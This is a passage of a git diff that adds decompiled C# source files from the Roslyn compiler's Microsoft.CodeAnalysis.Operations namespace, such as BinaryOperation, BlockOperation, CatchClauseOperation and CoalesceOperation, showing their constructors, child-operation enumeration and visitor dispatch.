get; } + + protected BaseCaseClauseOperation(ILabelSymbol? label, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Label = label; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseInterpolatedStringContentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseInterpolatedStringContentOperation.cs new file mode 100644 index 0000000..5dde6de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseInterpolatedStringContentOperation.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseInterpolatedStringContentOperation : Operation, IInterpolatedStringContentOperation, IOperation +{ + protected BaseInterpolatedStringContentOperation(SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseLoopOperation.cs new file mode 100644 index 0000000..a2723bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseLoopOperation.cs @@ -0,0 +1,25 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseLoopOperation : Operation, ILoopOperation, IOperation +{ + public abstract LoopKind LoopKind { get; } + + public IOperation Body { get; } + + public ImmutableArray Locals { get; } + + public ILabelSymbol ContinueLabel { get; } + + public ILabelSymbol ExitLabel { get; } + + protected BaseLoopOperation(IOperation body, ImmutableArray locals, ILabelSymbol continueLabel, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Body = Operation.SetParentOperation(body, this); + Locals = locals; + ContinueLabel = continueLabel; + ExitLabel = exitLabel; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMemberReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMemberReferenceOperation.cs new file mode 100644 index 0000000..fa4c870 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMemberReferenceOperation.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseMemberReferenceOperation : Operation, IMemberReferenceOperation, IOperation +{ + public IOperation? Instance { get; } + + public abstract ITypeSymbol? ConstrainedToType { get; } + + public abstract ISymbol Member { get; } + + protected BaseMemberReferenceOperation(IOperation? instance, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Instance = Operation.SetParentOperation(instance, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMethodBodyBaseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMethodBodyBaseOperation.cs new file mode 100644 index 0000000..e5e0225 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseMethodBodyBaseOperation.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseMethodBodyBaseOperation : Operation, IMethodBodyBaseOperation, IOperation +{ + public IBlockOperation? BlockBody { get; } + + public IBlockOperation? ExpressionBody { get; } + + protected BaseMethodBodyBaseOperation(IBlockOperation? blockBody, IBlockOperation? expressionBody, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + BlockBody = Operation.SetParentOperation(blockBody, this); + ExpressionBody = Operation.SetParentOperation(expressionBody, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BasePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BasePatternOperation.cs new file mode 100644 index 0000000..d137418 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BasePatternOperation.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BasePatternOperation : Operation, IPatternOperation, IOperation +{ + public ITypeSymbol InputType { get; } + + public ITypeSymbol NarrowedType { get; } + + protected BasePatternOperation(ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + InputType = inputType; + NarrowedType = narrowedType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseSymbolInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseSymbolInitializerOperation.cs new file mode 100644 index 0000000..f85b4d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BaseSymbolInitializerOperation.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal abstract class BaseSymbolInitializerOperation : Operation, ISymbolInitializerOperation, IOperation +{ + public ImmutableArray Locals { get; } + + public IOperation Value { get; } + + protected BaseSymbolInitializerOperation(ImmutableArray locals, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Locals = locals; + Value = Operation.SetParentOperation(value, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperation.cs new file mode 100644 index 0000000..51df1ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperation.cs @@ -0,0 +1,125 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class BinaryOperation : Operation, IBinaryOperation, IOperation +{ + public BinaryOperatorKind OperatorKind { get; } + + public IOperation LeftOperand { get; } + + public IOperation RightOperand { get; } + + public bool IsLifted { get; } + + public bool IsChecked { get; } + + public bool IsCompareText { get; } + + public IMethodSymbol? OperatorMethod { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + public IMethodSymbol? UnaryOperatorMethod { get; } + + internal override int ChildOperationsCount => ((LeftOperand != null) ? 1 : 0) + ((RightOperand != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Binary; + + internal BinaryOperation(BinaryOperatorKind operatorKind, IOperation leftOperand, IOperation rightOperand, bool isLifted, bool isChecked, bool isCompareText, IMethodSymbol? operatorMethod, ITypeSymbol? constrainedToType, IMethodSymbol? unaryOperatorMethod, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + OperatorKind = operatorKind; + LeftOperand = Operation.SetParentOperation(leftOperand, this); + RightOperand = Operation.SetParentOperation(rightOperand, this); + IsLifted = isLifted; + IsChecked = isChecked; + IsCompareText = isCompareText; + OperatorMethod = operatorMethod; + ConstrainedToType = constrainedToType; + UnaryOperatorMethod = unaryOperatorMethod; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LeftOperand != null) + { + return LeftOperand; + } + break; + case 1: + if (RightOperand != null) + { + return RightOperand; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitBinaryOperator(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitBinaryOperator(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperatorKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperatorKind.cs new file mode 100644 index 0000000..feb6eac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryOperatorKind.cs @@ -0,0 +1,31 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum BinaryOperatorKind +{ + None, + Add, + Subtract, + Multiply, + Divide, + IntegerDivide, + Remainder, + Power, + LeftShift, + RightShift, + And, + Or, + ExclusiveOr, + ConditionalAnd, + ConditionalOr, + Concatenate, + Equals, + ObjectValueEquals, + NotEquals, + ObjectValueNotEquals, + LessThan, + LessThanOrEqual, + GreaterThanOrEqual, + GreaterThan, + Like, + UnsignedRightShift +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryPatternOperation.cs new file mode 100644 index 0000000..304dcd9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BinaryPatternOperation.cs @@ -0,0 +1,105 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class BinaryPatternOperation : BasePatternOperation, IBinaryPatternOperation, IPatternOperation, IOperation +{ + public BinaryOperatorKind OperatorKind { get; } + + public IPatternOperation LeftPattern { get; } + + public IPatternOperation RightPattern { get; } + + internal override int ChildOperationsCount => ((LeftPattern != null) ? 1 : 0) + ((RightPattern != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.BinaryPattern; + + internal BinaryPatternOperation(BinaryOperatorKind operatorKind, IPatternOperation leftPattern, IPatternOperation rightPattern, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + OperatorKind = operatorKind; + LeftPattern = Operation.SetParentOperation(leftPattern, this); + RightPattern = Operation.SetParentOperation(rightPattern, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LeftPattern != null) + { + return LeftPattern; + } + break; + case 1: + if (RightPattern != null) + { + return RightPattern; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LeftPattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (RightPattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (RightPattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (LeftPattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitBinaryPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitBinaryPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BlockOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BlockOperation.cs new file mode 100644 index 0000000..2da2cbb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BlockOperation.cs @@ -0,0 +1,103 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class BlockOperation : Operation, IBlockOperation, IOperation +{ + public ImmutableArray Operations { get; } + + public ImmutableArray Locals { get; } + + internal override int ChildOperationsCount => Operations.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Block; + + internal BlockOperation(ImmutableArray operations, ImmutableArray locals, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operations = Operation.SetParentOperation(operations, this); + Locals = locals; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Operations.Length) + { + return Operations[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Operations.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Operations.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Operations.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Operations.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitBlock(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitBlock(this, argument); + } + + public static BlockOperation CreateTemporaryBlock(ImmutableArray statements, SemanticModel semanticModel, SyntaxNode syntax) + { + return new BlockOperation(statements, semanticModel, syntax); + } + + private BlockOperation(ImmutableArray statements, SemanticModel semanticModel, SyntaxNode syntax) + : base(semanticModel, syntax, isImplicit: true) + { + Operations = statements; + Locals = ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchKind.cs new file mode 100644 index 0000000..e31792b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum BranchKind +{ + None, + Continue, + Break, + GoTo +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchOperation.cs new file mode 100644 index 0000000..bbd4a54 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/BranchOperation.cs @@ -0,0 +1,50 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class BranchOperation : Operation, IBranchOperation, IOperation +{ + public ILabelSymbol Target { get; } + + public BranchKind BranchKind { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Branch; + + internal BranchOperation(ILabelSymbol target, BranchKind branchKind, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Target = target; + BranchKind = branchKind; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitBranch(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitBranch(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaseKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaseKind.cs new file mode 100644 index 0000000..5bf601f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaseKind.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum CaseKind +{ + None, + SingleValue, + Relational, + Range, + Default, + Pattern +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CatchClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CatchClauseOperation.cs new file mode 100644 index 0000000..feb5089 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CatchClauseOperation.cs @@ -0,0 +1,131 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CatchClauseOperation : Operation, ICatchClauseOperation, IOperation +{ + public IOperation? ExceptionDeclarationOrExpression { get; } + + public ITypeSymbol ExceptionType { get; } + + public ImmutableArray Locals { get; } + + public IOperation? Filter { get; } + + public IBlockOperation Handler { get; } + + internal override int ChildOperationsCount => ((ExceptionDeclarationOrExpression != null) ? 1 : 0) + ((Filter != null) ? 1 : 0) + ((Handler != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CatchClause; + + internal CatchClauseOperation(IOperation? exceptionDeclarationOrExpression, ITypeSymbol exceptionType, ImmutableArray locals, IOperation? filter, IBlockOperation handler, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ExceptionDeclarationOrExpression = Operation.SetParentOperation(exceptionDeclarationOrExpression, this); + ExceptionType = exceptionType; + Locals = locals; + Filter = Operation.SetParentOperation(filter, this); + Handler = Operation.SetParentOperation(handler, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (ExceptionDeclarationOrExpression != null) + { + return ExceptionDeclarationOrExpression; + } + break; + case 1: + if (Filter != null) + { + return Filter; + } + break; + case 2: + if (Handler != null) + { + return Handler; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (ExceptionDeclarationOrExpression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Filter != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Handler != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Handler != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (Filter != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (ExceptionDeclarationOrExpression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitCatchClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitCatchClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaughtExceptionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaughtExceptionOperation.cs new file mode 100644 index 0000000..08ea240 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CaughtExceptionOperation.cs @@ -0,0 +1,51 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CaughtExceptionOperation : Operation, ICaughtExceptionOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaughtException; + + internal CaughtExceptionOperation(SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitCaughtException(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitCaughtException(this, argument); + } + + public CaughtExceptionOperation(SyntaxNode syntax, ITypeSymbol type) + : this(null, syntax, type, isImplicit: true) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceAssignmentOperation.cs new file mode 100644 index 0000000..6704af4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceAssignmentOperation.cs @@ -0,0 +1,97 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CoalesceAssignmentOperation : BaseAssignmentOperation, ICoalesceAssignmentOperation, IAssignmentOperation, IOperation +{ + internal override int ChildOperationsCount => ((base.Target != null) ? 1 : 0) + ((base.Value != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CoalesceAssignment; + + internal CoalesceAssignmentOperation(IOperation target, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(target, value, semanticModel, syntax, isImplicit) + { + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.Target != null) + { + return base.Target; + } + break; + case 1: + if (base.Value != null) + { + return base.Value; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitCoalesceAssignment(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitCoalesceAssignment(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceOperation.cs new file mode 100644 index 0000000..66cc8b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CoalesceOperation.cs @@ -0,0 +1,109 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class CoalesceOperation : Operation, ICoalesceOperation, IOperation +{ + public IOperation Value { get; } + + public IOperation WhenNull { get; } + + internal IConvertibleConversion ValueConversionConvertible { get; } + + public CommonConversion ValueConversion => ValueConversionConvertible.ToCommonConversion(); + + internal override int ChildOperationsCount => ((Value != null) ? 1 : 0) + ((WhenNull != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Coalesce; + + internal CoalesceOperation(IOperation value, IOperation whenNull, IConvertibleConversion valueConversion, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + WhenNull = Operation.SetParentOperation(whenNull, this); + ValueConversionConvertible = valueConversion; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Value != null) + { + return Value; + } + break; + case 1: + if (WhenNull != null) + { + return WhenNull; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (WhenNull != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (WhenNull != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitCoalesce(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitCoalesce(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CommonConversion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CommonConversion.cs new file mode 100644 index 0000000..026c22a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/CommonConversion.cs @@ -0,0 +1,54 @@ +using System; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Operations; + +public readonly struct CommonConversion +{ + [Flags] + private enum ConversionKind + { + None = 0, + Exists = 1, + IsIdentity = 2, + IsNumeric = 4, + IsReference = 8, + IsImplicit = 0x10, + IsNullable = 0x20 + } + + private readonly ConversionKind _conversionKind; + + public bool Exists => (_conversionKind & 